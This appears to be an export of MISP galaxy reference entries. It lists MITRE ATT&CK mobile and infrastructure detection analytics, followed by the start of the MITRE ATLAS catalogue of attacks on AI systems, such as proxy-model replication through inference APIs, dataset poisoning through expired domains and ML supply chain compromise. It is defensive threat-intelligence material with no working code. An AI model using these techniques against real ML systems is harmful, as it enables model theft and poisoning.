Many encryption mechanisms are built into standard application-accessible APIs and are therefore undetectable to the end user.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1767 - AN1767"*

Table 7765. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0670#AN1767

Analytic 1768 - AN1768

Many encryption mechanisms are built into standard application-accessible APIs and are therefore

undetectable to the end user.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1768 - AN1768"*

Table 7766. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0670#AN1768

Analytic 1687 - AN1687

Mobile security products can potentially detect rogue Wi-Fi access points if the adversary is attempting to decrypt traffic using an untrusted SSL certificate. Application vetting services should look for applications that request VPN access. These applications should be heavily scrutinized since VPN functionality is not very common. On both Android and iOS, the user must grant consent to an application to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is active. The user can see registered VPN services in the device settings.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1687 - AN1687"*

Table 7767. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0623#AN1687

Analytic 1786 - AN1786

The user can view permissions granted to an application in device settings. Application vetting services typically flag permissions requested by an application, which can be reviewed by an administrator. Certain dangerous permissions, such as `RECEIVE_SMS`, could receive additional scrutiny.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1786 - AN1786"*

Table 7768. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0681#AN1786

Analytic 1678 - AN1678

Application vetting services may be able to list domains and/or IP addresses that applications communicate with. Mobile security products may provide URL inspection services that could determine if a domain being visited is malicious. Application vetting services could look for indications that the application downloads and executes new code at runtime (e.g., on Android, use of `DexClassLoader`, `System.load`, or the WebView `JavaScriptInterface` capability; on iOS, use of JSPatch or similar capabilities).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1678 - AN1678"*

Table 7769. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0618#AN1678

Analytic 1976 - AN1976

Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) , [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) , and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004) .

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1976 - AN1976"*

Table 7770. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0844#AN1976
https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html

Analytic 1967 - AN1967

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1967 - AN1967"*

Table 7771. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0835#AN1967

Analytic 1679 - AN1679

On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications.

On iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1679 - AN1679"*

Table 7772. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0619#AN1679

Analytic 1769 - AN1769

The user may view applications with administrator access through the device settings and may also notice if user data is inexplicably missing. Command-line activities can potentially be detected through Mobile Threat Defense (MTD) integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting file deletion processes. The user is prompted for approval when an application requests device administrator permissions. Application vetting services may detect API calls for deleting files. Mobile security products can detect which applications can request device administrator permissions. Application vetting services could be extra scrutinous of applications that request device administrator permissions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1769 - AN1769"*

Table 7773. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0671#AN1769

Analytic 1796 - AN1796

Application vetting services could look for `android.permission.READ_SMS` in an Android application's manifest. Most applications do not need access to SMS messages, so extra scrutiny could be applied to those that request it. On Android, the user can manage which applications have permission to access SMS messages through the device settings screen, revoking the permission if necessary.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1796 - AN1796"*

Table 7774. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0686#AN1796

Analytic 1697 - AN1697

Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1697 - AN1697"*

Table 7775. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0628#AN1697

Analytic 1688 - AN1688

Mobile security products can potentially detect rogue Wi-Fi access points if the adversary is attempting to decrypt traffic using an untrusted SSL certificate. Application vetting services should look for applications that request VPN access. These applications should be heavily scrutinized since VPN functionality is not very common. On both Android and iOS, the user must grant consent to an application to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is active. The user can see registered VPN services in the device settings.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1688 - AN1688"*

Table 7776. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0623#AN1688

Analytic 1986 - AN1986

Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1986 - AN1986"*

Table 7777. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0854#AN1986
https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/
https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
https://threatconnect.com/blog/infrastructure-research-hunting/

Analytic 1968 - AN1968

If infrastructure or patterns in the malicious web content related to malvertising have been previously identified, internet scanning may uncover when an adversary has staged malicious web content. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1968 - AN1968"*

Table 7778. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0836#AN1968

Analytic 1689 - AN1689

Remote access software typically requires many privileged permissions, such as accessibility services or device administrator.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1689 - AN1689"*

Table 7779. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0624#AN1689

Analytic 1698 - AN1698

Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1698 - AN1698"*

Table 7780. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0628#AN1698

Analytic 1969 - AN1969

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of

Service](https://attack.mitre.org/techniques/T1498).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1969 - AN1969"*

Table 7781. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0837#AN1969

Analytic 1996 - AN1996

Once adversaries leverage serverless functions as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1996 - AN1996"*

Table 7782. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0864#AN1996
https://threatconnect.com/blog/infrastructure-research-hunting/

Analytic 1699 - AN1699

Network traffic analysis may reveal processes communicating with malicious domains.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1699 - AN1699"*

Table 7783. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0629#AN1699

Analytic 1777 - AN1777

In both Android (6.0 and up) and iOS, the user can view which applications have the permission to access the device location through the device settings screen and revoke permissions as necessary. Android applications requesting the `ACCESS_COARSE_LOCATION`, `ACCESS_FINE_LOCATION`, or `ACCESS_BACKGROUND_LOCATION` permissions and iOS applications including the `NSLocationWhenInUseUsageDescription`, `NSLocationAlwaysAndWhenInUseUsageDescription`, and/or `NSLocationAlwaysUsageDescription` keys in their `Info.plist` file could be scrutinized during the application vetting process.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1777 - AN1777"*

Table 7784. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0675#AN1777

Analytic 1778 - AN1778

An Android user can view and manage which applications hold the `SYSTEM_ALERT_WINDOW` permission through the device settings in Apps & notifications → Special app access → Display over other apps (the exact menu location may vary between Android versions). Application vetting services can look for applications requesting the `android.permission.SYSTEM_ALERT_WINDOW` permission in the list of permissions in the app manifest.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1778 - AN1778"*

Table 7785. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0676#AN1778

Analytic 1787 - AN1787

The user can view permissions granted to an application in device settings. Application vetting services typically flag permissions requested by an application, which can be reviewed by an administrator. Certain dangerous permissions, such as `RECEIVE_SMS`, could receive additional scrutiny.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1787 - AN1787"*

Table 7786. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0681#AN1787

Analytic 1977 - AN1977

Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1977 - AN1977"*

Table 7787. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0845#AN1977
https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop

Analytic 1779 - AN1779

An Android user can view and manage which applications hold the `SYSTEM_ALERT_WINDOW` permission through the device settings in Apps & notifications → Special app access → Display over other apps (the exact menu location may vary between Android versions). Application vetting services can look for applications requesting the `android.permission.SYSTEM_ALERT_WINDOW` permission in the list of permissions in the app manifest.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1779 - AN1779"*

Table 7788. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0676#AN1779

Analytic 1797 - AN1797

Application vetting can detect many techniques associated with impairing device defenses.(Citation: Samsung Knox Mobile Threat Defense) Mobile security products integrated with Samsung Knox for Mobile Threat Defense can monitor processes to see if security tools are killed or stop running.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1797 - AN1797"*

Table 7789. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0687#AN1797
https://partner.samsungknox.com/mtd

Analytic 1788 - AN1788

On Android, the user is presented with a permissions popup when an application requests access to external device storage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1788 - AN1788"*

Table 7790. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0682#AN1788

Analytic 1987 - AN1987

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1987 - AN1987"*

Table 7791. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0855#AN1987

Analytic 1978 - AN1978

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1978 - AN1978"*

Table 7792. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0846#AN1978

Analytic 1789 - AN1789

On Android, the user is presented with a permissions popup when an application requests access to external device storage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1789 - AN1789"*

Table 7793. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0682#AN1789

Analytic 1798 - AN1798

If the user sees a notification with text they do not recognize, they should review their list of installed applications.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1798 - AN1798"*

Table 7794. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0688#AN1798

Analytic 1979 - AN1979

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1979 - AN1979"*

Table 7795. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0847#AN1979

Analytic 1997 - AN1997

Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1997 - AN1997"*

Table 7796. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0865#AN1997
https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf

Analytic 1799 - AN1799

If the user sees a notification with text they do not recognize, they should review their list of installed applications.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1799 - AN1799"*

Table 7797. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0688#AN1799

Analytic 1988 - AN1988

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1988 - AN1988"*

Table 7798. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0856#AN1988

Analytic 1989 - AN1989

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1989 - AN1989"*

Table 7799. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0857#AN1989

Analytic 1998 - AN1998

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult

for defenders.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1998 - AN1998"*

Table 7800. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0866#AN1998

Analytic 1999 - AN1999

Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1999 - AN1999"*

Table 7801. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0867#AN1999

MITRE ATLAS Attack Pattern

MITRE ATLAS Attack Pattern - Adversarial Threat Landscape for Artificial-Intelligence Systems.

MITRE ATLAS Attack Pattern is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Search for Victim’s Publicly Available Research Materials

Adversaries may search publicly available research to learn how and where machine learning is used within a victim organization. The adversary can use this information to identify targets for attack, or to tailor an existing attack to make it more effective. Organizations often use open source model architectures trained on additional proprietary data in production. Knowledge of this underlying architecture allows the adversary to craft more realistic proxy models ([Create Proxy ML Model](/techniques/AML.T0005)). An adversary can search these resources for publications for

authors employed at the victim organization.

Research materials may exist as academic papers published in [Journals and Conference Proceedings](/techniques/AML.T0000.000), or stored in [Pre-Print Repositories](/techniques/AML.T0000.001), as well as [Technical Blogs](/techniques/AML.T0000.002).

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Search for Victim's Publicly Available Research Materials"*

Table 7802. Table References

Links
https://atlas.mitre.org/techniques/AML.T0000

Journals and Conference Proceedings

Many of the publications accepted at premier machine learning conferences and journals come from commercial labs. Some journals and conferences are open access, others may require paying for access or a membership. These publications will often describe in detail all aspects of a particular approach for reproducibility. This information can be used by adversaries to implement the paper.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Journals and Conference Proceedings"*

Table 7803. Table References

Links
https://atlas.mitre.org/techniques/AML.T0000.000

Pre-Print Repositories

Pre-Print repositories, such as arXiv, contain the latest academic research papers that haven't been peer reviewed. They may contain research notes, or technical reports that aren't typically published in journals or conference proceedings. Pre-print repositories also serve as a central location to share papers that have been accepted to journals. Searching pre-print repositories provide adversaries with a relatively up-to-date view of what researchers in the victim organization are working on.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Pre-Print Repositories"*

Table 7804. Table References

Links
https://atlas.mitre.org/techniques/AML.T0000.001

Technical Blogs

Research labs at academic institutions and Company R&D divisions often have blogs that highlight

their use of machine learning and its application to the organizations unique problems. Individual researchers also frequently document their work in blogposts. An adversary may search for posts made by the target victim organization or its employees. In comparison to [Journals and Conference Proceedings](/techniques/AML.T0000.000) and [Pre-Print Repositories](/techniques/AML.T0000.001) this material will often contain more practical aspects of the machine learning system. This could include underlying technologies and frameworks used, and possibly some information about the API access and use case. This will help the adversary better understand how that organization is using machine learning internally and the details of their approach that could aid in tailoring an attack.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Technical Blogs"*

Table 7805. Table References

Links
https://atlas.mitre.org/techniques/AML.T0000.002

Search for Publicly Available Adversarial Vulnerability Analysis

Much like the [Search for Victim's Publicly Available Research Materials](/techniques/AML.T0000), there is often ample research available on the vulnerabilities of common models. Once a target has been identified, an adversary will likely try to identify any pre-existing work that has been done for this class of models. This will include not only reading academic papers that may identify the particulars of a successful attack, but also identifying pre-existing implementations of those attacks. The adversary may obtain [Adversarial ML Attack Implementations](/techniques/AML.T0016.000) or develop their own [Adversarial ML Attacks](/techniques/AML.T0017.000) if necessary.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Search for Publicly Available Adversarial Vulnerability Analysis"*

Table 7806. Table References

Links
https://atlas.mitre.org/techniques/AML.T0001

Acquire Public ML Artifacts

Adversaries may search public sources, including cloud storage, public-facing services, and software or data repositories, to identify machine learning artifacts. These machine learning artifacts may include the software stack used to train and deploy models, training and testing data, model configurations and parameters. An adversary will be particularly interested in artifacts hosted by or associated with the victim organization as they may represent what that organization uses in a production environment. Adversaries may identify artifact repositories via other resources associated with the victim organization (e.g. [Search Victim-Owned Websites](/techniques/AML.T0003) or [Search for Victim's Publicly Available Research Materials](/techniques/AML.T0000)). These ML artifacts often provide adversaries with details of

the ML task and approach.

ML artifacts can aid in an adversary's ability to [Create Proxy ML Model](/techniques/AML.T0005). If these artifacts include pieces of the actual model in production, they can be used to directly [Craft Adversarial Data](/techniques/AML.T0043). Acquiring some artifacts requires registration (providing user details such email/name), AWS keys, or written requests, and may require the adversary to [Establish Accounts](/techniques/AML.T0021).

Artifacts might be hosted on victim-controlled infrastructure, providing the victim with some information on who has accessed that data.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Acquire Public ML Artifacts"*

Table 7807. Table References

Links
https://atlas.mitre.org/techniques/AML.T0002

Datasets

Adversaries may collect public datasets to use in their operations. Datasets used by the victim organization or datasets that are representative of the data used by the victim organization may be valuable to adversaries. Datasets can be stored in cloud storage, or on victim-owned websites. Some datasets require the adversary to [Establish Accounts](/techniques/AML.T0021) for access.

Acquired datasets help the adversary advance their operations, stage attacks, and tailor attacks to the victim organization.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Datasets"*

Table 7808. Table References

Links
https://atlas.mitre.org/techniques/AML.T0002.000

Models

Adversaries may acquire public models to use in their operations. Adversaries may seek models used by the victim organization or models that are representative of those used by the victim organization. Representative models may include model architectures, or pre-trained models which define the architecture as well as model parameters from training on a dataset. The adversary may search public sources for common model architecture configuration file formats such as YAML or Python configuration files, and common model storage file formats such as ONNX (.onnx), HDF5 (.h5), Pickle (.pkl), PyTorch (.pth), or TensorFlow (.pb, .tflite).

Acquired models are useful in advancing the adversary's operations and are frequently used to tailor attacks to the victim model.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Models"*

Table 7809. Table References

Links
https://atlas.mitre.org/techniques/AML.T0002.001

Search Victim-Owned Websites

Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain technical details about their ML-enabled products or services. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info. These sites may also have details highlighting business operations and relationships.

Adversaries may search victim-owned websites to gather actionable information. This information may help adversaries tailor their attacks (e.g. [Adversarial ML Attacks](/techniques/AML.T0017.000) or [Manual Modification](/techniques/AML.T0043.003)). Information from these sources may reveal opportunities for other forms of reconnaissance (e.g. [Search for Victim's Publicly Available Research Materials](/techniques/AML.T0000) or [Search for Publicly Available Adversarial Vulnerability Analysis](/techniques/AML.T0001))

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Search Victim-Owned Websites"*

Table 7810. Table References

Links
https://atlas.mitre.org/techniques/AML.T0003

Search Application Repositories

Adversaries may search open application repositories during targeting. Examples of these include Google Play, the iOS App store, the macOS App Store, and the Microsoft Store.

Adversaries may craft search queries seeking applications that contain a ML-enabled components. Frequently, the next step is to [Acquire Public ML Artifacts](/techniques/AML.T0002).

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Search Application Repositories"*

Table 7811. Table References

Links
https://atlas.mitre.org/techniques/AML.T0004

Create Proxy ML Model

Adversaries may obtain models to serve as proxies for the target model in use at the victim organization. Proxy models are used to simulate complete access to the target model in a fully offline manner.

Adversaries may train models from representative datasets, attempt to replicate models from victim inference APIs, or use available pre-trained models.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Create Proxy ML Model"*

Table 7812. Table References

Links
https://atlas.mitre.org/techniques/AML.T0005

Train Proxy via Gathered ML Artifacts

Proxy models may be trained from ML artifacts (such as data, model architectures, and pre-trained models) that are representative of the target model gathered by the adversary. This can be used to develop attacks that require higher levels of access than the adversary has available or as a means to validate pre-existing attacks without interacting with the target model.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Train Proxy via Gathered ML Artifacts"*

Table 7813. Table References

Links
https://atlas.mitre.org/techniques/AML.T0005.000

Train Proxy via Replication

Adversaries may replicate a private model. By repeatedly querying the victim's [AI Model Inference API Access](/techniques/AML.T0040), the adversary can collect the target model's inferences into a dataset. The inferences are used as labels for training a separate model offline that will mimic the behavior and performance of the target model.

A replicated model that closely mimic's the target model is a valuable resource in staging the attack. The adversary can use the replicated model to [Craft Adversarial Data](/techniques/AML.T0043) for various purposes (e.g. [Evade ML Model](/techniques/AML.T0015), [Spamming ML System with Chaff Data](/techniques/AML.T0046)).

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Train Proxy via Replication"*

Table 7814. Table References

Links
https://atlas.mitre.org/techniques/AML.T0005.001

Use Pre-Trained Model

Adversaries may use an off-the-shelf pre-trained model as a proxy for the victim model to aid in staging the attack.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Use Pre-Trained Model"*

Table 7815. Table References

Links
https://atlas.mitre.org/techniques/AML.T0005.002

Active Scanning

An adversary may probe or scan the victim system to gather information for targeting. This is distinct from other reconnaissance techniques that do not involve direct interaction with the victim system.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Active Scanning"*

Table 7816. Table References

Links
https://atlas.mitre.org/techniques/AML.T0006

Discover ML Artifacts

Adversaries may search private sources to identify machine learning artifacts that exist on the system and gather information about them. These artifacts can include the software stack used to train and deploy models, training and testing data management systems, container registries, software repositories, and model zoos.

This information can be used to identify targets for further collection, exfiltration, or disruption, and to tailor and improve attacks.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Discover ML Artifacts"*

Table 7817. Table References

Links
https://atlas.mitre.org/techniques/AML.T0007

Acquire Infrastructure

Adversaries may buy, lease, or rent infrastructure for use throughout their operation. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, mobile devices, and third-party web services. Free resources may also be used, but they are typically limited. Infrastructure can also include physical components such as countermeasures that degrade or disrupt AI components or sensors, including printed materials, wearables, or disguises.

Use of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure

that can be rapidly provisioned, modified, and shut down.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Acquire Infrastructure"*

Table 7818. Table References

Links
https://atlas.mitre.org/techniques/AML.T0008

ML Development Workspaces

Developing and staging machine learning attacks often requires expensive compute resources. Adversaries may need access to one or many GPUs in order to develop an attack. They may try to anonymously use free resources such as Google Colaboratory, or cloud resources such as AWS, Azure, or Google Cloud as an efficient way to stand up temporary resources to conduct operations. Multiple workspaces may be used to avoid detection.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="ML Development Workspaces"*

Table 7819. Table References

Links
https://atlas.mitre.org/techniques/AML.T0008.000

Consumer Hardware

Adversaries may acquire consumer hardware to conduct their attacks. Owning the hardware provides the adversary with complete control of the environment. These devices can be hard to trace.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Consumer Hardware"*

Table 7820. Table References

Links
https://atlas.mitre.org/techniques/AML.T0008.001

Domains

Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.

Adversaries may use acquired domains for a variety of purposes (see [ATT&CK](https://attack.mitre.org/techniques/T1583/001/)). Large AI datasets are often distributed as a list of URLs to individual datapoints. Adversaries may acquire expired domains that are included in these datasets and replace individual datapoints with poisoned examples ([Publish Poisoned Datasets](/techniques/AML.T0019)).

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Domains"*

Table 7821. Table References

Links
https://atlas.mitre.org/techniques/AML.T0008.002

Physical Countermeasures

Adversaries may acquire or manufacture physical countermeasures to aid or support their attack.

These components may be used to disrupt or degrade the model, such as adversarial patterns printed on stickers or T-shirts, disguises, or decoys. They may also be used to disrupt or degrade the sensors used in capturing data, such as laser pointers, light bulbs, or other tools.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Physical Countermeasures"*

Table 7822. Table References

Links
https://atlas.mitre.org/techniques/AML.T0008.003

ML Supply Chain Compromise

Adversaries may gain initial access to a system by compromising the unique portions of the ML supply chain. This could include [Hardware](/techniques/AML.T0010.000), [Data](/techniques/AML.T0010.002) and its annotations, parts of the ML [ML Software](/techniques/AML.T0010.001) stack, or the [Model](/techniques/AML.T0010.003) itself. In some instances the attacker will need secondary access to fully carry out an attack using compromised components of the supply chain.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="ML Supply Chain Compromise"*

Table 7823. Table References

Links
https://atlas.mitre.org/techniques/AML.T0010

Hardware

Adversaries may target AI systems by disrupting or manipulating the hardware supply chain. AI models often run on specialized hardware such as GPUs, TPUs, or embedded devices, but may also be optimized to operate on CPUs.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="Hardware"*

Table 7824. Table References

Links

https://atlas.mitre.org/techniques/AML.T0010.000

ML Software

Most machine learning systems rely on a limited set of machine learning frameworks. An adversary could get access to a large number of machine learning systems through a comprise of one of their supply chains. Many machine learning projects also rely on other open source implementations of various algorithms. These can also be compromised in a targeted way to get access to specific systems.

The tag is: *misp-galaxy:mitre-atlas-attack-pattern="ML Software"*

Table 7825. Table References

Links
https://atlas.mitre.org/techniques/AML.T0010.001

Data

Data is a key vector of supply chain compromise for adversaries. Every machine learning project will require some form of data. Many rely on large open source datasets that are publicly available. An adversary could rely on compromising these sources of data. The malicious data could be a result of [Poison Training Data](/techniques/AML.T0020) or include traditional malware.

